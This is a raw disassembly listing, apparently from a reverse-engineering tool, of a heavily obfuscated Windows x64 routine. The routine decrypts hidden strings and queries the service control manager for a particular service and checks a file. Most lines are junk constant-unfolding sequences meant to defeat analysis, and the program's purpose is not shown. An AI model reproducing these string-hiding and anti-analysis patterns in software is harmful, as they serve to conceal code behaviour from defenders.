popf
pushf
not eax
add eax, 0xc0df2fe3
xor eax, 0x9ba127c3
rol eax, 0x65
popf
pushf
not eax
add eax, 0x92645faf
xor eax, 0x9376505e
rol eax, 0x7c
popf
jmp 0x1400d0961
mov r13, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
sub rax, r13
cmp rdi, rax
ja 0x1400d21f5
push rax
pushf
mov eax, 0x3ac7e881
pushf
not eax
add eax, 0xf62be240
xor eax, 0xfd8a1100
rol eax, 0xa
popf
pushf
not eax
add eax, 0xbce0f59f
xor eax, 0xa0a9a2f7
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8e07048d
xor eax, 0xeb135eb4
rol eax, 0x1e
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x91b7e2d2
pushf
not eax
add eax, 0xeb47fd26
xor eax, 0xf5fc424c
rol eax, 7
popf
pushf
not eax
add eax, 0xd22d1366
xor eax, 0x9d61038f
rol eax, 0x8c
popf
jmp 0x1400d0961
lea rax, [rdi + r13]
mov qword [rbp + 0xe0], rax
lea rbx, [rbp + 0xd0]
cmp rcx, 7
cmova rbx, qword [rbp + 0xd0]
lea rcx, [rbx + r13*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rdi + r13]
mov word [rbx + rax*2], r12w
lea rax, [rbp + 0xd0]
jmp 0x1400d2316
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xa0]
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.1400b5f51
push rax
pushf
mov eax, 0xd81afa08
pushf
not eax
add eax, 0xeb7becdd
xor eax, 0xcc98498e
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf8801bda
xor eax, 0xf8a8662c
rol eax, 0x2e
popf
jmp 0x1400d0961
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x1400d23ae
push rax
pushf
mov eax, 0xcdbd3770
pushf
not eax
add eax, 0xca29df2b
xor eax, 0x9c0be5a6
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd1de3dd1
xor eax, 0xdde73177
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe29de45a
xor eax, 0xe71e039c
rol eax, 0x66
popf
pushf
not eax
add eax, 0xea9aabe3
xor eax, 0xcd6fbc2f
rol eax, 0x9d
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x2aa31c7e
pushf
not eax
add eax, 0xb5dfd14d
xor eax, 0xbd44c3d6
rol eax, 0xda
popf
pushf
not eax
add eax, 0xfbac5492
xor eax, 0x993ec15e
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe767e0af
xor eax, 0x90585848
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa43adf42
xor eax, 0x9ea95114
rol eax, 0xeb
popf
jmp 0x1400d0961
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d2455
push rax
pushf
mov eax, 0x58d646b6
pushf
not eax
add eax, 0xc0720272
xor eax, 0x86699548
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xc47165df
xor eax, 0xd533468e
rol eax, 0xdf
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x1023191c
pushf
not eax
add eax, 0x87146456
xor eax, 0xb9f46718
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xed888271
xor eax, 0x8742e262
rol eax, 0x67
popf
pushf
not eax
add eax, 0xb0d78777
xor eax, 0xe64b6c47
rol eax, 0xd4
popf
jmp 0x1400d0961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d24e3
push rax
pushf
mov eax, 0xd4f1759d
pushf
not eax
add eax, 0x9247c48b
xor eax, 0xa2ca39dc
rol eax, 0x89
popf
pushf
not eax
add eax, 0xf0dd3b37
xor eax, 0xb7eec2f7
rol eax, 0xd8
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x3904549f
pushf
not eax
add eax, 0xcb332786
xor eax, 0xd91b7b79
rol eax, 0x23
popf
pushf
not eax
add eax, 0xf644984f
xor eax, 0xd346cd48
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xda02d4fe
xor eax, 0xb21cd1ef
rol eax, 0x12
popf
jmp 0x1400d0961
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3971
push rax
pushf
mov eax, 0xfcba6c20
pushf
not eax
add eax, 0xb76b3ebb
xor eax, 0xd19515e9
rol eax, 0x36
popf
pushf
not eax
add eax, 0x81a5b8ec
xor eax, 0xc856898b
rol eax, 0xec
popf
pushf
not eax
add eax, 0xbbdf6b94
xor eax, 0xf573d4ca
rol eax, 0x13
popf
jmp 0x1400d0961
movdqa xmm0, xmmword [0x140078e90]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xd0], r12w
movabs rdi, 0xba3b5f5b8f4b449e
pushf
not rdi
add rdi, 0x4704316f
xor rdi, 0x5fa8b9b7
rol rdi, 0x99
popf
pushf
not rdi
add rdi, 0x5eaa7ebe
xor rdi, 0x6e7ff9ea
rol rdi, 0x2e
popf
pushf
not rdi
add rdi, 0x66dbe773
xor rdi, 0x440c7cdc
rol rdi, 0x91
popf
pushf
not rdi
add rdi, 0x633758a4
xor rdi, 0x5a978cd3
rol rdi, 0xab
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0xa96cc92ab3cafbf4
pushf
not rbx
add rbx, 0x4869ae29
xor rbx, 0x5b9bf5c2
rol rbx, 0xe8
popf
pushf
not rbx
add rbx, 0x6f75cba9
xor rbx, 0x7f8f5f20
rol rbx, 0x79
popf
pushf
not rbx
add rbx, 0x72aad2bd
xor rbx, 0x662ff628
rol rbx, 0xd3
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.1400c01a3
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], r15
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [rbp + 0x80]
test al, al
movabs rax, 0x4143d56e95d1670c
pushf
not rax
add rax, 0x6b728984
xor rax, 0x430e6cc2
rol rax, 0x87
popf
pushf
not rax
add rax, 0x5090a061
xor rax, 0x55102336
rol rax, 0x54
popf
pushf
not rax
add rax, 0x79504003
xor rax, 0x60fd7948
rol rax, 0xe4
popf
mov qword [rbp + 0xa0], rax
je 0x1400d27ca
push rax
pushf
mov eax, 0x4b84ba25
pushf
not eax
add eax, 0xfe151627
xor eax, 0xd355b37e
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe0a9cebb
xor eax, 0x9fb7d2b9
rol eax, 0x29
popf
pushf
not eax
add eax, 0xeeba2859
xor eax, 0xfdf5a866
rol eax, 0x93
popf
pushf
not eax
add eax, 0xa27d247b
xor eax, 0xdcbb4f1a
rol eax, 0xd5
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xc400b807
pushf
not eax
add eax, 0x97798691
xor eax, 0xa421e958
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc6117779
xor eax, 0xe2815fa8
rol eax, 0x38
popf
pushf
not eax
add eax, 0x91cf5172
xor eax, 0xc19add43
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xf4c42e9b
xor eax, 0xca36d974
rol eax, 0x2d
popf
jmp 0x1400d0961
movabs rax, 0xf241e5ab95c2d4e0
pushf
not rax
add rax, 0x569f1cf9
xor rax, 0x423d3fd3
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x72079047
xor rax, 0x6bbe39d2
rol rax, 9
popf
pushf
not rax
add rax, 0x51b22236
xor rax, 0x5f28879e
rol rax, 0xd
popf
pushf
not rax
add rax, 0x43b61867
xor rax, 0x67a2ab54
rol rax, 0x5c
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x1d689ce665e543c7
pushf
not rax
add rax, 0x49aecbe9
xor rax, 0x4444eebf
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x68e4271b
xor rax, 0x4b7dd870
rol rax, 0x43
popf
pushf
not rax
add rax, 0x6fed3244
xor rax, 0x66e53de7
rol rax, 0xae
popf
pushf
not rax
add rax, 0x48176734
xor rax, 0x5ececcb3
rol rax, 0xc1
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x7fb9a92c907fe2a8
pushf
not rax
add rax, 0x74f03ba4
xor rax, 0x417569fc
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x5c9469f8
xor rax, 0x5a7dc528
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x74a98105
xor rax, 0x486b212e
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x61ef4d52
xor rax, 0x7ef1dd7d
rol rax, 0x44
popf
mov qword [rbp + 0x90], rax
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b8cc6
lea rdx, [0x1b8f09408]
pushf
sub rdx, 0x78f013e8
popf
mov rcx, rax
jmp 0x1400d29ab
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5b44
movabs rax, 0xf7e299d5eda25a0
pushf
not rax
add rax, 0x5251f16a
xor rax, 0x464b4f31
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x65accea2
xor rax, 0x66c6345c
rol rax, 0x68
popf
pushf
not rax
add rax, 0x7ce404a3
xor rax, 0x48b1266f
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x76785e73
xor rax, 0x7c4baf5e
rol rax, 0xa1
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x86c966ec56a30749
pushf
not rax
add rax, 0x791ca916
xor rax, 0x57fe3faa
rol rax, 9
popf
pushf
not rax
add rax, 0x6063e96e
xor rax, 0x537545a8
rol rax, 0xf0
popf
mov qword [rbp + 0xb0], rax
movabs r13, 0x138e5eb40213fb1e
pushf
not r13
add r13, 0x4d3d7fcf
xor r13, 0x4f3d4635
rol r13, 0x14
popf
pushf
not r13
add r13, 0x622fedd1
xor r13, 0x4e1e4b32
rol r13, 0xc3
popf
mov qword [rbp + 0x90], r13
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b8cc6
lea rdx, [0x1bf74db75]
pushf
sub rdx, 0x7f745b55
popf
mov rcx, rax
jmp 0x1400d2b2c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400d2b66
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
movabs rax, 0x7906308f0a52e379
pushf
not rax
add rax, 0x68e117ca
xor rax, 0x4138c903
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x6b256037
xor rax, 0x52a8a3a2
rol rax, 0x49
popf
pushf
not rax
add rax, 0x6d50f585
xor rax, 0x73edd3b3
rol rax, 0x47
popf
pushf
not rax
add rax, 0x4317cd5b
xor rax, 0x46b89cd7
rol rax, 0x15
popf
movabs rcx, 0x7044bad8958992c7
pushf
not rcx
add rcx, 0x6ac2a291
xor rcx, 0x5c1a3afa
rol rcx, 6
popf
pushf
not rcx
add rcx, 0x76b77615
xor rcx, 0x54b6de41
rol rcx, 0xb1
popf
movabs rdi, 0x6a187cc4d2977f74
pushf
not rdi
add rdi, 0x428f1b7c
xor rdi, 0x502a1271
rol rdi, 0xb7
popf
pushf
not rdi
add rdi, 0x58b56e78
xor rdi, 0x6eb252a3
rol rdi, 0xfe
popf
pushf
not rdi
add rdi, 0x6c56e43a
xor rdi, 0x4c940163
rol rdi, 0xc0
popf
test rbx, rbx
jne 0x1400d2ca2
push rax
pushf
mov eax, 0x7b1b7bec
pushf
not eax
add eax, 0xe853af32
xor eax, 0xa3f2ea80
rol eax, 3
popf
pushf
not eax
add eax, 0xdf23868c
xor eax, 0x88ccb85e
rol eax, 0x43
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x76e34034
pushf
not eax
add eax, 0xe864d4c0
xor eax, 0x8cd07d5f
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xea9a13c4
xor eax, 0x9a44f526
rol eax, 0x2e
popf
jmp 0x1400d0961
mov qword [rbp + 0x100], rax
movabs rax, 0x9010134bbe8bc97f
pushf
not rax
add rax, 0x62598865
xor rax, 0x4d6a2187
rol rax, 0x47
popf
pushf
not rax
add rax, 0x589119b7
xor rax, 0x70415f30
rol rax, 0x93
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x4c8dc3480cb722a6
pushf
not rax
add rax, 0x456f86d3
xor rax, 0x57c59530
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x6c0873e0
xor rax, 0x7b085b77
rol rax, 0x5d
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x18998fbba1c9aa8a
pushf
not rax
add rax, 0x70fff8cf
xor rax, 0x52b8e472
rol rax, 0x91
popf
pushf
not rax
add rax, 0x5beba606
xor rax, 0x6a4e7f0e
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x73e8724f
xor rax, 0x5dfffe8b
rol rax, 0xc0
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x76d281b639f967c9
pushf
not rax
add rax, 0x6464c563
xor rax, 0x7c04ef20
rol rax, 0xba
popf
pushf
not rax
add rax, 0x6bcf5258
xor rax, 0x431e2016
rol rax, 3
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d2e7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d2e88
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1a709c02f]
pushf
sub rdx, 0x6709400f
popf
mov rcx, rax
jmp 0x1400d2ea4
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d3277
mov r8d, 0xb225224b
pushf
not r8d
add r8d, 0xb2cc3c1b
xor r8d, 0xa1eb7ada
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xe05c68c7
xor r8d, 0xcd1f1767
rol r8d, 0xba
popf
pushf
not r8d
add r8d, 0xdb2528d0
xor r8d, 0xe2c1afb2
rol r8d, 0xf3
popf
lea rdx, [rsp + 0x30]
mov rcx, rbx
jmp 0x1400d2f62
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x1400d2fca
push rax
pushf
mov eax, 0x4226639d
pushf
not eax
add eax, 0x8b3fc6ec
xor eax, 0x839f2b74
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xe64e1d8a
xor eax, 0xd5d75cee
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xf1c27607
xor eax, 0xca5da0b1
rol eax, 6
popf
pushf
not eax
add eax, 0xa97e4857
xor eax, 0xd03f1e67
rol eax, 0xfa
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x3bef08b2
pushf
not eax
add eax, 0xa47364e6
xor eax, 0xcd09ca03
rol eax, 0xae
popf
pushf
not eax
add eax, 0xf9d8dde7
xor eax, 0x92e9a283
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd6c1c96e
xor eax, 0x8f6a9f29
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x836840b3
xor eax, 0x893a3de2
rol eax, 0xe7
popf
jmp 0x1400d0961
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x424
je 0x1400d306a
push rax
pushf
mov eax, 0x6ecc794d
pushf
not eax
add eax, 0xbbde5d62
xor eax, 0xd74265b2
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb9594b74
xor eax, 0xe424a470
rol eax, 0xe6
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xdc5ff6e9
pushf
not eax
add eax, 0xe9fd6b97
xor eax, 0xd079f03e
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9afbe368
xor eax, 0xc29f0c09
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xee425ab0
xor eax, 0xc7a71c90
rol eax, 0x91
popf
jmp 0x1400d0961
movabs rax, 0xf4b8e60877416803
pushf
not rax
add rax, 0x5134adc2
xor rax, 0x648a4ac7
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x6d3a33af
xor rax, 0x7d944153
rol rax, 0xff
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x5e761b7275645b85
pushf
not rax
add rax, 0x4ea1708c
xor rax, 0x5bc71d0f
rol rax, 0x70
popf
pushf
not rax
add rax, 0x6bba4de0
xor rax, 0x5acff8e3
rol rax, 0xff
popf
pushf
not rax
add rax, 0x4126bd7a
xor rax, 0x68753fd1
rol rax, 0x54
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x617652ee415f669f
pushf
not rax
add rax, 0x603b376d
xor rax, 0x48319e79
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x6d233b2a
xor rax, 0x73a0322e
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x757e09dd
xor rax, 0x5989d4a1
rol rax, 0xa2
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov edx, edi
mov rcx, rax
jmp 0x1400d3205
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1bbb13948]
pushf
sub rdx, 0x7bb0b928
popf
mov rcx, rax
jmp 0x1400d3221
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x6db9d5a1
pushf
not eax
add eax, 0x860d6ec0
xor eax, 0xb2bd6ffd
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd25bb251
xor eax, 0x9ecfd27e
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd2fa809e
xor eax, 0xea13545e
rol eax, 0xbe
popf
jmp 0x1400d0961
mov rcx, rbx
jmp 0x1400d3271
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0x15fbc24fff1d3238
pushf
not rax
add rax, 0x5bdf85ba
xor rax, 0x73415833
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x77837d3e
xor rax, 0x448ad55f
rol rax, 0xda
popf
pushf
not rax
add rax, 0x57ceaf25
xor rax, 0x4f3e687a
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x748101ab
xor rax, 0x4c30ac85
rol rax, 0xed
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x11157fa49aeb70fe
pushf
not rax
add rax, 0x4d9070cb
xor rax, 0x7a484b03
rol rax, 0x58
popf
pushf
not rax
add rax, 0x49605dcd
xor rax, 0x653acd47
rol rax, 0xa0
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x8f22de44371359f3
pushf
not rax
add rax, 0x5e49d9f2
xor rax, 0x54f31a42
rol rax, 0x97
popf
pushf
not rax
add rax, 0x6efa2437
xor rax, 0x61ba0712
rol rax, 0x44
popf
pushf
not rax
add rax, 0x6eb6e4de
xor rax, 0x71d1db5d
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x46cf3151
xor rax, 0x7ca42ee1
rol rax, 2
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8cc6
lea rdx, [0x1915b246f]
pushf
sub rdx, 0x515aa44f
popf
mov rcx, rax
jmp 0x1400d340a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d3422
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d3460
push rax
pushf
mov eax, 0x33db6a59
pushf
not eax
add eax, 0xa71d1701
xor eax, 0x878b4539
rol eax, 0x50
popf
pushf
not eax
add eax, 0xa7a6a537
xor eax, 0x9e07b06d
rol eax, 0x85
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x11eb8d93
pushf
not eax
add eax, 0x8398d703
xor eax, 0xee066ad1
rol eax, 0xde
popf
pushf
not eax
add eax, 0x9c6760fd
xor eax, 0xf47c9895
rol eax, 0xfe
popf
jmp 0x1400d0961
test al, 0x10
jne 0x1400d34ca
push rax
pushf
mov eax, 0x7fb9dbc
pushf
not eax
add eax, 0x8e87220e
xor eax, 0xa774f2df
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xcde7d098
xor eax, 0x955d82bd
rol eax, 0x14
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x28736adb
pushf
not eax
add eax, 0xd0a25b7b
xor eax, 0x87f9da68
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe6887aff
xor eax, 0xcd3900b9
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xef711d76
xor eax, 0xaafbc9ef
rol eax, 0x46
popf
jmp 0x1400d0961
mov al, 0xf3
pushf
not al
add al, 0x7a
xor al, 0xdb
rol al, 0x38
popf
pushf
not al
add al, 0xe3
xor al, 0xcf
rol al, 0xc0
popf
pushf
not al
add al, 0x61
xor al, 0x56
rol al, 0xfa
popf
jmp 0x1400d35cc
xor al, al
push rax
pushf
mov eax, 0x3a0cb584
pushf
not eax
add eax, 0xaa936f5c
xor eax, 0xf23c50aa
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xec1fac7c
xor eax, 0xc19dacf0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb88b7033
xor eax, 0xa9768593
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xf5d0abe0
xor eax, 0xf2d2c80b
rol eax, 0x3b
popf
jmp 0x1400d0961
test al, al
je 0x1400d3607
push rax
pushf
mov eax, 0xffabb840
pushf
not eax
add eax, 0xc7b4bb61
xor eax, 0xbebfbfb2
rol eax, 0xb
popf
pushf
not eax
add eax, 0x80c8a612
xor eax, 0xcfe4125c
rol eax, 0xb
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xa1c7309f
pushf
not eax
add eax, 0xef676c12
xor eax, 0xa4e1a6ce
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x90fb32ee
xor eax, 0xac0ebe5f
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x82202b5a
xor eax, 0x9027172a
rol eax, 0x19
popf
pushf
not eax
add eax, 0x8a7914c2
xor eax, 0x8079355d
rol eax, 0xd8
popf
jmp 0x1400d0961
movabs rax, 0x6eff60b864585f52
pushf
not rax
add rax, 0x5df0e5f9
xor rax, 0x75211256
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x5681a264
xor rax, 0x78d8deb6
rol rax, 0xc
popf
pushf
not rax
add rax, 0x5be7085a
xor rax, 0x447afada
rol rax, 0xfa
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xccb266cd7797413
pushf
not rax
add rax, 0x7d77d0a0
xor rax, 0x5b4e94e4
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x7b047a57
xor rax, 0x70176232
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x5a3d6fd1
xor rax, 0x784b0220
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x4c2d031a
xor rax, 0x5af250b3
rol rax, 0x26
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x1a2e4d065e2334f3
pushf
not rax
add rax, 0x5f67a14b
xor rax, 0x4b840eed
rol rax, 0x96
popf
pushf
not rax
add rax, 0x7e6daaa1
xor rax, 0x7d2a343c
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x42f90ec6
xor rax, 0x405807ba
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x5aaa73f6
xor rax, 0x42bede58
rol rax, 0xe3
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0xeb9eaefa892a8ec4
pushf
not rax
add rax, 0x5b9f9c36
xor rax, 0x727c92ed
rol rax, 0x67
popf
pushf
not rax
add rax, 0x6f747ee5
xor rax, 0x60263f52
rol rax, 0x84
popf
pushf
not rax
add rax, 0x5a6a04fe
xor rax, 0x558ab839
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x52d3c160
xor rax, 0x7172355e
rol rax, 0xc2
popf
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8cc6
lea rdx, [0x1b5766f2c]
pushf
sub rdx, 0x7575ef0c
popf
mov rcx, rax
jmp 0x1400d3870
